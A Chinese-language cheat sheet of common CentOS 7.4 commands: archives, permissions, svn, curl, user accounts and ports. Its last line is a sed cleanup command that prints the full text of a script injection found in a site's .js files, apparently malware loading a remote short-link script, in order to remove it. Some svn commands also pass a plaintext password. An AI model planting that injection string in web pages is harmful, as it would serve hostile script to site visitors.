天天看点

centos7.4常用命令

解压:unzip FileName.zip

          tar   zxvf    test.tgz  -C  指定目录

压缩:zip FileName.zip  DirName

修改目录权限:chmod 777 Runtime/

chown命令更改文件拥有者:-R : 进行递归( recursive )的持续更改,即连同子目录下的所有文件、目录

chown [-R] 账号名称 文件或目录

chown [-R] 账号名称:用户组名称 文件或目录

du -sh /system_dntb   查看文件或者目录占用磁盘大小

svn:

svn清理:svn cleanup

svn更新:/usr/bin/svn update --usern[email protected] --password=10086             /www/wwwroot/test

svn的检出:/usr/bin/svn  checkout  svn://gitee.com/wlphp/test    ./   --username    [email protected]  --password      10086

svn创建仓库:svnadmin  create  /test/svnrepos/web2    

svn开启服务: svnserve -d -r  /test/svnrepos --listen-port 9527

curl:

curl -c   /tmp/cookies   -d "username=qwertyu&password=asdfghj"      "http://39.105.195.211:8888/login"

centos创建账号:

useradd test1

设置密码:

passwd test1

设置管理员root组:

usermod  -G root  test1

查看系统版本

centos:cat /etc/redhat-release

centos或者ubuntu: lsb_release -a

服务与端口

netstat -anplt|grep sshd

netstat -anplt|grep 22

centos7批量替换文件里面的固定字符串:

find   /www/wwwroot/    -type f -name '*.js'|xargs sed -i "s#document.write('<script src=\"http://t.cn/EvlonFh\"></script><script>OMINEId(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\")</script>');##g"